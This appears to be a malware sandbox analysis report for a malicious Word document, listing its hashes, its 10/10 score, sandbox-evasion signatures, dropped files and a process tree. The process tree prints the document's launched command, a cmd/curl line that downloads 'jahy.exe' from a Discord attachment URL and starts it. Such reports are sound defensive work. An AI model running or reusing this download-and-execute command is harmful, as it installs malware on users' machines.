8d89cb9044f553665efa6b753b66f3231867b91e8d8c1cc519770e7bee0af1c4

Analysis

max time kernel
148s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/07/2026, 08:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8d89cb9044f553665efa6b753b66f3231867b91e8d8c1cc519770e7bee0af1c4.doc
Size 550KB
Sample260716-kd4cmsgv5j
SHA256 8d89cb9044f553665efa6b753b66f3231867b91e8d8c1cc519770e7bee0af1c4
MD5 8b47cfbd65f93270b4bf0a78d26e4c6c
SHA1 3c2e062c40e70caa63375ef84bb35beb08343cf6
SHA512 7062b4b2462f4a79d45f57eaadba107fb662b8426cd0aaea4b06c6a38d9c42cd214ef0e638f14febaa1b30e1c4409a155b292bc47a0a06e969665481ef244a46
SSDEEP 12288:5C79BbmKy2AfG3CQ7nKS9LhS8jWxZIVEs0Rk4q:5W9BbmXGj9LCxaV6q
TLSH
T14BC4120177DDCFABD26F52398683F685A12AEC991E01DF6778A1B70D2C383353C0A5A4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	432	2076	cmd.exe	86

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3476	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2076	WINWORD.EXE
2076	WINWORD.EXE

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE
2076	WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 432	2076	WINWORD.EXE	88
PID 432 wrote to memory of 5720	432	cmd.exe	91
PID 432 wrote to memory of 3476	432	cmd.exe	92

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8d89cb9044f553665efa6b753b66f3231867b91e8d8c1cc519770e7bee0af1c4.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c curl https://cdn.discordapp.com/attachments/1077543461617676409/1150743707176402974/jahy.exe --output %APPDATA%\jahy.exe && timeout 1 && start %APPDATA%\jahy.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\curl.exe
    curl https://cdn.discordapp.com/attachments/1077543461617676409/1150743707176402974/jahy.exe --output C:\Users\Admin\AppData\Roaming\jahy.exe
    3⤵
    PID:5720
- - C:\Windows\system32\timeout.exe
    timeout 1
    3⤵
    - Delays execution with timeout.exe
    PID:3476

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

TM02851218[[fn=gb]].xsl

Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl
Size 262KB
SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
MD5 51d32ee5bc7ab811041f799652d26e04
SHA1 412193006aa3ef19e0a57e16acf86b830993024a
SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
SSDEEP 6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
TLSH
T19A4458A5E6D9CF144BB1F23FD8B52092EA1DC87B29341D41F1DC733717AE948822B662
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CUSTOM.DIC

Path C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
Size 16B
SHA256 a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
MD5 d29962abc88624befc0135579ae485ec
SHA1 e40a6458296ec6a2427bcb280572d023a9862b31
SHA512 4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f
MD5 SHA1 SHA512

Submit Download

fb3b0dbfee58fac8.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Size 1KB
SHA256 2a0056a1a842c74b7d15b0f6f4957f708249d816f689bf3954aad598b6e2f5c2
MD5 9d48ad493fa4077313387d526001ab23
SHA1 9f258456554d91db864b0694034974f426edb767
SHA512 dca19f0ba3ea118c4181159e9357804a1cef9561d38b31c1b43ee3716fcaf091219f47c205242d7544b75c4b331879fe006e664374783861775d6a57e0e3961e
TLSH
T1BD2100025A9F2F5FD4A043730F274364D331BD06FA55424C6644A26B6E70DE0CE48B1A
MD5 SHA1 SHA512 TLSH

Submit Download

jahy.exe

Path C:\Users\Admin\AppData\Roaming\jahy.exe
Size 36B
SHA256 c3fa59901d56ce8a95a303b22fd119cb94abf4f43c4f6d60a81fd78b7d00fa65
MD5 a1ca4bebcd03fafbe2b06a46a694e29a
SHA1 ffc88125007c23ff6711147a12f9bba9c3d197ed
SHA512 6fe1730bf2a6bba058c5e1ef309a69079a6acca45c0dbca4e7d79c877257ac08e460af741459d1e335197cf4de209f2a2997816f2a2a3868b2c8d086ef789b0e
MD5 SHA1 SHA512

Submit Download

memory/2076-4-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-6-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

memory/2076-0-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-7-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

memory/2076-8-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-9-0x00007FFAEBDE0000-0x00007FFAEBDF0000-memory.dmp

Download

memory/2076-10-0x00007FFAEBDE0000-0x00007FFAEBDF0000-memory.dmp

Download

memory/2076-17-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

memory/2076-16-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

memory/2076-5-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

memory/2076-1-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-26-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

memory/2076-2-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-32-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

memory/2076-3-0x00007FFB2E97F000-0x00007FFB2E980000-memory.dmp

Download

memory/2076-471-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-472-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-474-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-473-0x00007FFAEE960000-0x00007FFAEE970000-memory.dmp

Download

memory/2076-475-0x00007FFB2E820000-0x00007FFB2EA83000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads